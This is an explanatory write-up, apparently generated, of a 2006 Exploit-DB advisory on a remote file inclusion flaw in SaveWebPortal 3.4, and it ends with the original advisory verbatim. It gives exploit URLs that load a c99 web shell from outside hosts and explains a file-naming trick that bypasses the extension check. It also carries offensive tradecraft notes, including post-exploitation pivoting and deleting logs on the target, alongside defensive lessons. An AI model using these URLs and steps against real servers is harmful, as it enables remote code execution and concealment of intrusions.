Understanding SaveWebPortal 3.4 Remote File Inclusion

Understanding SaveWebPortal 3.4 Remote File Inclusion
What this paper is
This paper details a Remote File Inclusion (RFI) vulnerability in SaveWebPortal version 3.4. An attacker can exploit this flaw to include and execute arbitrary files from a remote server on the vulnerable web server. This effectively allows for remote code execution.
Simple technical breakdown
The vulnerability lies in how the index.php file handles user-supplied input for the page parameter. The code checks if the page parameter contains certain file extensions (.php, .htm, .html). If it does, it then uses the include() function to load and execute the content of that file.
The problem is that the include() function in PHP can be tricked into loading files from remote URLs, not just local files. By crafting a malicious URL that points to a file on an attacker-controlled server, and ensuring the page parameter includes a valid-looking extension (even if it's a double extension like .php.txt), an attacker can force the vulnerable server to download and execute their code.
Complete code and payload walkthrough
The provided paper contains a snippet of vulnerable PHP code and an example of how to exploit it.
Vulnerable Code Snippet:
<?php
....
if (strstr ($page, ".php") ||
strstr ($page, ".htm") ||
strstr ($page, ".html")) {
include ("$page");
....
?><?php ... ?>: These are standard PHP tags, indicating the start and end of a PHP code block.....: This represents omitted code, meaning there's other logic in theindex.phpfile that is not shown but precedes or follows this vulnerable section.if (strstr ($page, ".php") || strstr ($page, ".htm") || strstr ($page, ".html")):$page: This is a PHP variable that likely holds the value passed from the URL'spageparameter (e.g.,http://host.com/index.php?page=...).strstr($haystack, $needle): This is a PHP function that searches for the first occurrence of a substring ($needle) within a string ($haystack). It returns the part of the haystack string starting from the needle if found, orfalseotherwise.||: This is the logical OR operator. The condition is true if any of thestrstrchecks are true.- Purpose: This
ifstatement checks if the value of the$pagevariable contains the string ".php", OR ".htm", OR ".html". This is intended to validate that the requested page is a web-related file.
include ("$page");:include(): This is a crucial PHP construct. It takes a string argument, which is interpreted as a filename. PHP then attempts to include and evaluate the specified file. Crucially,include()can also interpret URLs as filenames if theallow_url_fopendirective is enabled in PHP."$page": The variable$pageis directly embedded within theinclude()function.- Purpose: If the
ifcondition is met (i.e.,$pagecontains one of the specified extensions), this line attempts to include the file specified by the$pagevariable. Because theinclude()function can fetch remote files, and the check is superficial (only looking for extensions, not validating the source or content), this is where the vulnerability lies.
Exploitation Example:
http://host.com/index.php?page=http://master-boy.cwsurf.de/c99.php.txt
http://host.com/index.php: The vulnerable SaveWebPortal application.?page=: The parameter being passed toindex.php.http://master-boy.cwsurf.de/c99.php.txt: This is the attacker-controlled URL.http://master-boy.cwsurf.de/: The attacker's web server.c99.php.txt: The malicious file hosted on the attacker's server. The.txtextension is a trick. Theifcondition in the vulnerable code checks for.php,.htm, or.html. Sincec99.php.txtcontains.php, thestrstrcondition will evaluate to true. Theinclude()function will then attempt to fetch and executehttp://master-boy.cwsurf.de/c99.php.txt. PHP, when including a remote URL, will often execute it as PHP code if it contains PHP syntax, regardless of the.txtextension.
Payload/Shellcode Explanation:
The paper mentions c99.php.txt. While the content of c99.php.txt is not provided in the paper itself, "c99" typically refers to a well-known, older PHP web shell. These shells are designed to provide an attacker with a web-based interface to execute commands on the compromised server.
A typical c99.php shell would contain PHP code that:
- Checks for POST/GET requests: It looks for specific parameters to determine what action to perform (e.g., execute a command, upload a file, browse directories).
- Executes system commands: Uses functions like
exec(),shell_exec(),system(), orpassthru()to run commands provided by the attacker. - Displays output: Shows the results of executed commands back to the attacker through the web interface.
- File management: May include features for uploading, downloading, or deleting files on the server.
The .txt extension is purely a bypass for the weak validation in the vulnerable index.php. The actual content of the file c99.php.txt would be PHP code.
Mapping list:
<?php ... ?>-> PHP code delimiters.strstr ($page, ".php")-> Checks if thepageparameter contains ".php".strstr ($page, ".htm")-> Checks if thepageparameter contains ".htm".strstr ($page, ".html")-> Checks if thepageparameter contains ".html".||-> Logical OR operator, combining the extension checks.include ("$page");-> The vulnerable function that fetches and executes remote content if the extension check passes.http://host.com/index.php?page=http://attacker.com/shell.php.txt-> Example exploit URL.shell.html.txt,shell.php.txt-> Recommended file naming conventions for the attacker's remote file to bypass the weak validation.
Practical details for offensive operations teams
- Required Access Level: No specific access level is required beyond the ability to send HTTP requests to the target web server. This is a classic unauthenticated web vulnerability.
- Lab Preconditions:
- A target SaveWebPortal 3.4 installation.
- An attacker-controlled web server accessible by the target server (e.g., a VPS, a compromised server, or a public hosting service).
- The attacker's server must be configured to serve PHP files (or files with
.txtextensions that contain PHP code) and haveallow_url_fopenenabled in its PHP configuration (though this is standard for most web hosts). - The target server must have
allow_url_fopenenabled in its PHP configuration for theinclude()function to fetch remote files. This is a common default setting.
- Tooling Assumptions:
- A web browser for manual testing or reconnaissance.
- An HTTP proxy like Burp Suite or OWASP ZAP for intercepting and modifying requests.
- A simple web server (e.g., Python's
http.server, Apache, Nginx) to host the malicious payload. - A text editor to create the malicious payload file.
- Execution Pitfalls:
allow_url_fopendisabled: Ifallow_url_fopenis disabled on the target server, theinclude()function will not be able to fetch remote files, and the exploit will fail.- Firewall/Network Restrictions: The target server might be restricted from making outbound HTTP connections to arbitrary external servers.
- Weak Validation Bypass: The attacker must ensure the remote file name contains one of the specified extensions (
.php,.htm,.html). Using.php.txtis a common technique. If the vulnerable code had more robust validation (e.g., checking the end of the string, or validating against a whitelist of allowed local files), this exploit would be much harder or impossible. - Payload Execution: The remote file must contain valid PHP code that can be executed by the target server's PHP interpreter.
- File Extension on Attacker Server: While the target server checks for
.php,.htm,.html, the attacker's web server might serve the file with its actual extension (e.g.,.txt). This is usually fine as the content is what matters for execution.
- Tradecraft Considerations:
- Reconnaissance: Identify the SaveWebPortal version. Look for
index.phpand thepageparameter in URLs. - Payload Hosting: Host the malicious PHP shell on a reliable, external server. Ensure the file is named appropriately to bypass the weak filter (e.g.,
shell.php.txt). - Delivery: Craft the URL with the
pageparameter pointing to the attacker's hosted shell. - Post-Exploitation: Once the shell is active, use it to explore the server, escalate privileges, or pivot to other systems.
- Covering Tracks: Delete logs on the attacker's server and potentially on the target server if possible.
- Reconnaissance: Identify the SaveWebPortal version. Look for
Where this was used and when
- Context: This vulnerability was prevalent in web applications developed using PHP, particularly older versions where security practices were less mature. SaveWebPortal 3.4 was a specific example.
- Approximate Years/Dates: The paper was published in August 2006. This type of RFI vulnerability was common in the mid-2000s. Exploits targeting such flaws were actively used by attackers during that period and continued to be a threat until applications were patched or updated.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. Always validate and sanitize all data received from external sources, especially URL parameters.
- Avoid
include()with User Input: Do not use user-controlled variables directly ininclude(),require(),eval(), or other functions that can execute arbitrary code or fetch external resources. - Strict Whitelisting: If you must include files based on user input, use a strict whitelist of allowed local files rather than trying to blacklist disallowed ones.
- Disable
allow_url_fopenandallow_url_include: These PHP directives can be dangerous if not strictly necessary. Disabling them prevents PHP from fetching remote files viainclude()andfopen(). - Web Application Firewalls (WAFs): WAFs can help detect and block common RFI patterns, but they are not a substitute for secure coding practices.
- Regular Patching and Updates: Keep all web applications and their dependencies updated to the latest secure versions.
- Secure Coding Training: Ensure developers are trained on common web vulnerabilities like RFI and secure coding best practices.
ASCII visual (if applicable)
+-----------------+ +-----------------+ +-------------------+
| Attacker Server |----->| Target Server |----->| Internet/External |
| (e.g., master- | | (SaveWebPortal) | | Resources |
| boy.cwsurf.de) | | (index.php) | | |
+-----------------+ +-----------------+ +-------------------+
^ |
| | (1) HTTP Request:
| | GET /index.php?page=http://attacker.com/shell.php.txt
| |
| | (2) index.php:
| | - Checks if 'page' contains ".php", ".htm", ".html"
| | - Condition met for ".php" in "shell.php.txt"
| |
| | (3) include("http://attacker.com/shell.php.txt"):
| | - Fetches content from attacker server
| |
| | (4) PHP Interpreter:
| | - Executes fetched PHP code (shell.php.txt content)
| |
+------------------------+ (5) Malicious Code Execution / Shell AccessSource references
- Paper ID: 2167
- Paper Title: SaveWebPortal 3.4 - 'page' Remote File Inclusion
- Author: Bl0od3r
- Published: 2006-08-10
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/2167
- Raw URL: https://www.exploit-db.com/raw/2167
Original Exploit-DB Content (Verbatim)
--------------------------------------------
SaveWebPortal <= 3.4(page) Remote File Inclusion Vulnerability
Download:http://www.circeos.it/frontend/theme4/index.php?page=downloads
--------------------------------------------
Found by x0rax
Master9976@hotmail.de
--------------------------------------------
Vulnerable Code:
<?php
....
if (strstr ($page, ".php") ||
strstr ($page, ".htm") ||
strstr ($page, ".html")) {
include ("$page");
....
?>
--------------------------------------------
to inject succesfully you have to create a file called shell.html.txt or
shell.php.txt
otherwise it wont work!
--------------------------------------------
Affected File:
index.php =]
--------------------------------------------
Vulnerability:
http://host.com/index.php?page=http://master-boy.cwsurf.de/c99.php.txt
--------------------------------------------
# milw0rm.com [2006-08-10]